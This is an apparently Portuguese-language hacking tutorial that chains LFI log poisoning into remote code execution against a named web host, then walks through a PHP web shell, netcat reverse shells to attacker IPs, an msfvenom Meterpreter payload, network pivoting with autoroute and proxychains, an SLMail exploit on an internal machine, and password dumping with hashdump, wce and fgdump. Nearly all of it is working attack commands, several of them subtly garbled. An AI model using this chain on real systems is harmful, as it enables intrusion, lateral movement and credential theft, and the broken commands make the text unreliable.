Introdução

Quando um servidor está vulnerável à Inclusão de Arquivos Locais (LFI), isso pode permitir a inserção de um script PHP malicioso que possibilita a execução de comandos arbitrários no servidor. Esse tipo de vulnerabilidade é conhecido como Execução Remota de Código (RCE).

Inserção do Script Malicioso

Para explorar essa vulnerabilidade, podemos utilizar o Netcat para enviar o script PHP ao servidor, que o aceitará e o incluirá nos arquivos de logs.

Passos para Inserir o Script no Arquivo de Log:

  1. Conexão com o Servidor:
  2. nc -v www.webhhh.com.br 80
  3. Envio do Script:

    Após estabelecer a conexão, envie o seguinte script para o arquivo de log:

    <?php system($_GET['cmd']); ?>

    Este script será inserido no arquivo de log e interpretado pelo servidor.

Visualização do Script Inserido no Log

Podemos verificar se o script foi inserido corretamente no arquivo de log utilizando o comando:

index.php?page=/../../var/log/apache2/access.log%00

Isso nos permitirá visualizar o script dentro do registro de login.

Execução de Comandos no Servidor

Para executar comandos no servidor, basta fornecer os parâmetros corretos na URL, como no exemplo a seguir:

index.php?cmd=ls -la&page=/../../var/log/apache2/access.log%00

Isso retornará todos os arquivos do diretório atual do servidor.

Conexão Reversa com Netcat

Além disso, podemos estabelecer uma conexão reversa com o servidor utilizando o Netcat.

Passos para Conexão Reversa:

  1. Iniciar Netcat no Terminal:
  2. nc -vnlp 443
  3. Enviar Comando para Estabelecer Conexão:

    Na URL vulnerável, envie o seguinte comando:

    index.php?cmd=nc 198.1.1.1 443 -e/bin/bash&page=/../../var/log/apache2/access.log%00

    Isso abrirá uma sessão de shell no servidor para a máquina do atacante.

Criação de Shell Maliciosa

Para uma abordagem mais sofisticada, podemos criar uma shell maliciosa usando o Metasploit.

Gerar Shell Maliciosa:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=186.236.110.228 lport=8443 -f elf > shell

Isso gera um binário chamado "shell" que estabelecerá uma conexão reversa com o Metasploit.

Enviar Shell para o Servidor:

Iniciar Escuta e Enviar Shell:

nc -vnlp 443 < shell
index.php?cmd=nc 186.236.110.228 443 > /var/www/shell&page=/../../var/log/apache2/access.log%00

Após a conexão ser estabelecida o shell será enviado para o servidor no diretório /var/www/shell

Estabelecer Conexão com o sevidor para visualiar a shell:

nc -vnlp 443
index.php?cmd=nc 186.236.110.228 -e/bin/bash&page=/../../var/log/apache2/access.log%00 ls

Acessando o Servidor com Metasploit

Depois que a conexão é estabelecida, podemos utilizar o Metasploit para interagir com o servidor e executar comandos mais avançados.

Iniciar Sessão com Metasploit:

service postgresql start
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 186.236.110.228
set lport 8443
exploit
        

Executan a shell

chmod 777 shell .shell

Técnica de Pivotamento

Para explorar ainda mais a rede, podemos usar técnicas de pivotamento para acessar outras máquinas na rede interna do alvo.

Pivotamento na Rede Local:

Escolhendo o modulo para executar um proxy

background

Retorna todas as sessões

sessions -l

Estabelece conexão com a sessão 1

sessions -i 1 

Estabelece conexão com a sessão 1

sessions -i 1 

Exibe todos os modulos

run

Mostra todas as interfaces de rede

ifconfig

Mostra a rota no servidor

route

Estabelecer Rota na Rede Local do Alvo:

run autoroute -s 172.16.1.0/24

O comando run autoroute -p é usado para exibir a rota do alvo.

Depois, executamos para podermos escolher um módulo para executar um proxy:

background
use auxiliary/server/socks4a
show options
run
        

Para modificar a porta do proxy, podemos editar o arquivo de configuração /etc/proxychains.conf usando um editor de texto, como o nano:

nano /etc/proxychains.conf

Escaneamento da Rede Local:

proxychains nmap -v -sf --open --top-ports -Ṕn 172.16.1.0/24
proxychains nmap -v -sf --open -p 110 -Ṕn 172.16.1.0/24

Suponhamos que tenhamos encontrado um computador na rede local com a porta 110 aberta. Podemos estabelecer uma conexão com esse computador utilizando o seguinte comando:

portfwd add -l 110 -p -r 110 -r 172.16.1.4

Este comando adiciona uma nova regra de redirecionamento de porta, que direciona o tráfego recebido na porta local 110 para a porta 110 no endereço IP remoto 172.16.1.4. Essa técnica é útil em cenários onde é necessário redirecionar o tráfego de entrada de uma porta local para uma porta específica em outro dispositivo na rede.

Quando executamos o comando abaixo, em vez de escanear nosso próprio computador, ele escaneará o IP local 172.16.1.4:

nmap -v -sV -p 110 127.0.0.1

Observe que passamos nosso IP local. No entanto, o Nmap escaneará o IP 172.16.1.4. Isso ocorre porque redirecionamos o tráfego recebido na porta 110 para a porta 110 do alvo, que é o IP 172.16.1.4.

O comando search slmail é usado no Metasploit para procurar um exploit específico para o serviço slmail.

Ganhar Acesso a Estações de Trabalho

Além de acessar o servidor, podemos explorar estações de trabalho na rede utilizando exploits específicos.

Explorar Estação de Trabalho:

use exploit/windows/pop3/seattelab_pass
set RHOST 172.16.1.4
set payload windows/meterpreter/reverse_tcp
set lport 110
set lhost 186.236.110.228
exploit
        

Esta técnica permite ganhar acesso a máquinas na rede e explorar suas vulnerabilidades.

O comando show options exibe as opções disponíveis para configuração antes de executar o exploit.

O comando exploit inicia a execução do exploit com as opções configuradas.

O comando hashdump é utilizado para extrair e exibir as senhas dos administradores do sistema.

Os comandos:

upload /usr/share/wce/wce-universal.exe c:/

São usados para copiar arquivos específicos para o sistema alvo:

Os comandos:

upload /usr/share/windows-binaries/fgdump/fgdump.exe c:/

São usados para copiar arquivos específicos para o sistema alvo:

Após a cópia dos arquivos, os seguintes comandos são executados:

O comando type pwdump.txt é utilizado para exibir o conteúdo do arquivo pwdump.txt.

Por fim, o comando exit é utilizado para sair do shell e retornar ao prompt do Metasploit.

Conclusão

Com as técnicas apresentadas, é possível explorar e comprometer sistemas em uma rede, destacando a importância da segurança cibernética e da proteção contra ataques maliciosos.